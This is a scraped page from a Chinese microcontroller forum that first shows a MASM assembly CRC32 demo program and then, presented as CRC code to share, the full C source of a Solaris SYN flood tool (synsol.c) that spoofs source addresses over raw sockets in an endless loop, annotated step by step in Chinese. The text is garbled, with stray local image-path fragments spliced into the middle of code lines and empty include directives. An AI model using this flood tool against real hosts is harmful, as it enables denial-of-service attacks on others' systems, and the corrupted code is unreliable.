[/img]WORD, [img]mhtml:file://D:\liuyudong\重要下载资料\算法CRC\ChinaUnix_net - 哪位大哥熟悉CRC16 CRC32,能帮扫扫盲么.mht!
[/img]WORD, [img]mhtml:file://D:\liuyudong\重要下载资料\算法CRC\ChinaUnix_net - 哪位大哥熟悉CRC16 CRC32,能帮扫扫盲么.mht!
[/img]WORD, [img]mhtml:file://D:\liuyudong\重要下载资料\算法CRC\ChinaUnix_net - 哪位大哥熟悉CRC16 CRC32,能帮扫扫盲么.mht!
[/img]WORD
init_crc32table proto
arraycrc32 proto
.const
IDC_BUTTON_OPEN equ 3000
IDC_EDIT_INPUT equ 3001
.data
szDlgName db "lc_dialog", 0
szTitle db "CRC demo by LC", 0
szTemplate db "字符串 ""%s"" 的 CRC32 值是:%X", 0
crc32tbl dd 256 dup(0) ;CRC-32 table
szBuffer db 255 dup(0)
.data?
szText db 300 dup(?)
.code
main:
invoke GetModuleHandle, NULL
invoke DialogBoxParam, eax, offset szDlgName, 0, WndProc, 0
invoke ExitProcess, eax
WndProc proc uses ebx hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam
PARAM
.if uMsg == WM_CLOSE
invoke EndDialog, hWnd, 0
.elseif uMsg == WM_COMMAND
mov eax,wParam
mov edx,eax
shr edx,16
movzx eax, ax
.if edx == BN_CLICKED
.IF eax == IDCANCEL
invoke EndDialog, hWnd, NULL
.ELSEIF eax == IDC_BUTTON_OPEN || eax == IDOK
;******************************************
;关键代码开始:(当当当当……)
;******************************************
;取得用户输入的字符串:
invoke GetDlgItemText, hWnd, IDC_EDIT_INPUT, addr szBuffer, 255
;初始化crc32table:
invoke init_crc32table
;下面赋值给寄存器ebx,以便进行crc32转换:
;EBX是待转换的字符串的首地址:
lea ebx, szBuffer
;进行crc32转换:
invoke arraycrc32
;格式化输出:
invoke wsprintf, addr szText, addr szTemplate, addr szBuffer, eax
;好啦,让我们显示结果:
invoke MessageBox, hWnd, addr szText, addr szTitle, MB_OK
.ENDIF
.endif
.ELSE
mov eax,FALSE
ret
.ENDIF
mov eax,TRUE
ret
WndProc endp
;**********************************************************
;函数功能:生成CRC-32表
;**********************************************************
init_crc32table proc
;如果用C语言来表示,应该如下:
;
; for (i = 0; i < 256; i++)
; {
; crc = i;
; for (j = 0; j < 8; j++)
; {
; if (crc & 1)
; crc = (crc >> 1) ^ 0xEDB88320;
; else
; crc >>= 1;
; }
; crc32tbl
= crc;
; }
;
;呵呵,让我们把上面的语句改成assembly的:
mov ecx, 256 ; repeat for every DWORD in table
mov edx, 0EDB88320h
$BigLoop:
lea eax, [ecx-1]
push ecx
mov ecx, 8
$SmallLoop:
shr eax, 1
jnc @F
xor eax, edx
@@:
dec ecx
jne $SmallLoop
pop ecx
mov [crc32tbl+ecx*4-4], eax
dec ecx
jne $BigLoop
ret
init_crc32table endp
;**************************************************************
;函数功能:计算CRC-32
;**************************************************************
arraycrc32 proc
;计算 CRC-32 ,我采用的是把整个字符串当作一个数组,然后把这个数组的首地址赋值给 EBX,把数组的长度赋值给 ECX,然后循环计算,返回值(计算出来的 CRC-32 值)储存在 EAX 中:
;
; 参数:
; EBX = address of first byte
; 返回值:
; EAX = CRC-32 of the entire array
; EBX = ?
; ECX = 0
; EDX = ?
mov eax, -1 ; 先初始化eax
or ebx, ebx
jz $Done ; 避免出现空指针
@@:
mov dl, [ebx]
or dl, dl
je $Done ;判断是否对字符串扫描完毕
;这里我用查表法来计算 CRC-32 ,因此非常快速:
;因为这是assembly代码,所以不需要给这个过程传递参数,只需要把oldcrc赋值给EAX,以及把byte赋值给DL:
;
; 在C语言中的形式:
;
; temp = (oldcrc ^ abyte) & 0x000000FF;
; crc = (( oldcrc >> [img]mhtml:file://D:\liuyudong\重要下载资料\算法CRC\ChinaUnix_net - 哪位大哥熟悉CRC16 CRC32,能帮扫扫盲么.mht!
[/img] & 0x00FFFFFF) ^ crc32tbl[temp];
;
; 参数:
; EAX = old CRC-32
; DL = a byte
; 返回值:
; EAX = new CRC-32
; EDX = ?
xor dl, al
movzx edx, dl
shr eax, 8
xor eax, [crc32tbl+edx*4]
inc ebx
jmp @B
$Done:
not eax
ret
arraycrc32 endp
end main
;******************** over ********************
;by LC
下面是它的资源文件:
#include "resource.h"
#define IDC_BUTTON_OPEN 3000
#define IDC_EDIT_INPUT 3001
#define IDC_STATIC -1
LC_DIALOG DIALOGEX 10, 10, 195, 60
STYLE DS_SETFONT | DS_CENTER | WS_MINIMIZEBOX | WS_VISIBLE | WS_CAPTION |
WS_SYSMENU
CAPTION "lc’s assembly framework"
FONT 9, "宋体", 0, 0, 0x0
BEGIN
LTEXT "请输入一个字符串(区分大小写):",IDC_STATIC,11,7,130,10
EDITTEXT IDC_EDIT_INPUT,11,20,173,12,ES_AUTOHSCROLL
DEFPUSHBUTTON "Ca&lc",IDC_BUTTON_OPEN,71,39,52,15
END
这里有几行有关CRC的源代码,欢迎分享
[code:1:97826ccb77][/code:1:97826ccb77]
/* Syn Attack against a port for Solaris */
/* Original land attack, land.c by m3lt, FLC */
/* Ported to 44BSD by blast and jerm */
/* Ported to Solaris by ziro antagonist */
/* Referenced flood.c by unknown author */
/* Converted into a syn attack against one port by CRG */
/* Please use this for educational purposes only */
/* Compiles on Solaris gcc -o synsol synsol.c -lsocket -lnsl */
/* Additional notes: */
/* Successfully compiled on Solaris 2.51 and 2.6 */
/* Runs: synsol */
/* */
/* Tested it on: Solaris 2.6 */
/* */
/* Attacked against: */
/* Linux 2.0.33 - vulnerable */
/* Linux 2.0.30 - vulnerable */
/* Linux 1.2.13 - vulnerable */
/* Solaris 2.4 - vulnerable */
/* Solaris 2.5.1 - vulnerable */
/* SunOS 4.1.3_U3 - vulnerable */
/* Solaris 2.6 - not vulnerable */
/* */
/* Most of these test machines are not patched because they */
/* are in test lab. I tested the program against port 23 and */
/* every once in awhile I did get through. */
/* */
/* Direct any comments, questions, improvements to */
/*
packetstorm@genocide2600.com
*/
/*
http://www.genocide2600.com/~tattooman/
*/
/* Your emails will be forwarded to the author, who wishes */
/* to remain known only as CRG (no email addy or URL) */
/*jjgirl:上面的注释的不用说了!*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*jjgirl:上面是头文件!*/
unsigned long srcport;
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
/*jjgirl:定义一个伪装地址的结构!*/
u_short checksum(u_short * data,u_short length)
{
int nleft = length;
int sum=0;
unsigned short *w = data;
unsigned short value = 0;
while (nleft > 1) {
sum += *w++;
nleft -= 2;
}
if (nleft == 1) {
*(unsigned char *) (&value) = *(unsigned char *) w;
sum += value;
}
sum = (sum >>16) + (sum & 0xffff);
sum += (sum >> 16);
value = ~sum;
return(value);
}
/*jjgirl:上面校验文件!包头是需要校验的,CRC校验!*/
int main(int argc,char * * argv)
{/*jjgirl:主程序开始了!*/
struct sockaddr_in sin;
struct sockaddr_in din;
struct hostent * hoste;
struct hostent * host1;
int j,sock,foo, flooddot=1;
char buffer[40];
struct ip * ipheader=(struct ip *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct ip));
struct pseudohdr pseudoheader;
/*jjgirl:上面定义变量!*/
fprintf(stderr,"Syn attack against one port.(Infinite)\n");
if(argc<4)
{
fprintf(stderr,"usage: %s \n",argv[0]);
return(-1);
}
/*jjgirl:上面是判断参数!*/
fprintf(stderr,"%s:%s is being syn'd attacked by %s.\n",argv[1],argv[2],argv[3]);
bzero(&sin,sizeof(struct sockaddr_in)); /*write sizeof to &sin*/
sin.sin_family=AF_INET;
if((host1=gethostbyname(argv[3]))!=NULL)
bcopy(host1->h_addr,&din.sin_addr,host1->h_length);
else if((din.sin_addr.s_addr=inet_addr(argv[3]))==-1)
{
fprintf(stderr,"unknown source host %s\n",argv[3]);
return(-1);
}
if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length);
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown destination host %s\n",argv[1]);
return(-1);
}
if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
}
/*jjgirl:上面是给sockaddr_in结构赋值,需要指明协议,端口号!*/
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}
/*jjgirl:上面开始Socket了!*/
foo=1;
if(setsockopt(sock,0,IP_HDRINCL,(char *)&foo,sizeof(int))==-1)
{
fprintf(stderr,"couldn't set raw header on socket\n");
return(-1);
}
/*jjgirl:上面是为了重构报头!*/
for(j=1;j>0;j++)
{
bzero(&buffer,sizeof(struct ip)+sizeof(struct tcphdr));
ipheader->ip_v=4;
ipheader->ip_tos=0;
ipheader->ip_hl=sizeof(struct ip)/4;
ipheader->ip_len=sizeof(struct ip)+sizeof(struct tcphdr);
ipheader->ip_id=htons(random());
ipheader->ip_ttl=30; /*255;*/
ipheader->ip_p=IPPROTO_TCP;
ipheader->ip_sum=0;
ipheader->ip_src=din.sin_addr;
ipheader->ip_dst=sin.sin_addr;
tcpheader->th_sport=htons(srcport); /*sin.sin_port;*/
tcpheader->th_dport=sin.sin_port;
tcpheader->th_seq=htonl(0x28374839);
tcpheader->th_flags=TH_SYN;
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(204[img]mhtml:file://D:\liuyudong\重要下载资料\算法CRC\ChinaUnix_net - 哪位大哥熟悉CRC16 CRC32,能帮扫扫盲么.mht!
[/img];
tcpheader->th_sum=0;
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=din.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
/*jjgirl:上面是重构报头!*/
srcport= (10000.0*random()/(15000+1.0));
/*jjgirl:端口当然要变!*/
if(sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
/*jjgirl:攻击开始!*/
{
fprintf(stderr,"couldn't send packet,%d\n",errno);
return(-1);
}
usleep(2);
if (!(flooddot = (flooddot+1)%(1)))
{fprintf(stdout,".");fflush(stdout);}
/*jjgirl:显示次数! Jjgirl 把上面一句,改为如下两句,增加显示效果,随你的便!
{fprintf(stdout,".%4d",j);fflush(stdout);}
int k=j; if((k%10)==0) printf("\n"); */
} /*The end of the infinite loop*/
close(sock);
return(0);
}
[code:1:97826ccb77][/code:1:97826ccb77]
/*jjgirl:结束!
欢迎光临 英锐恩单片机论坛,Microchip单片机,模拟器件,接口电路,麦肯单片机,单片机应用交流 (http://enroobbs.com/)
Powered by Discuz! X3.2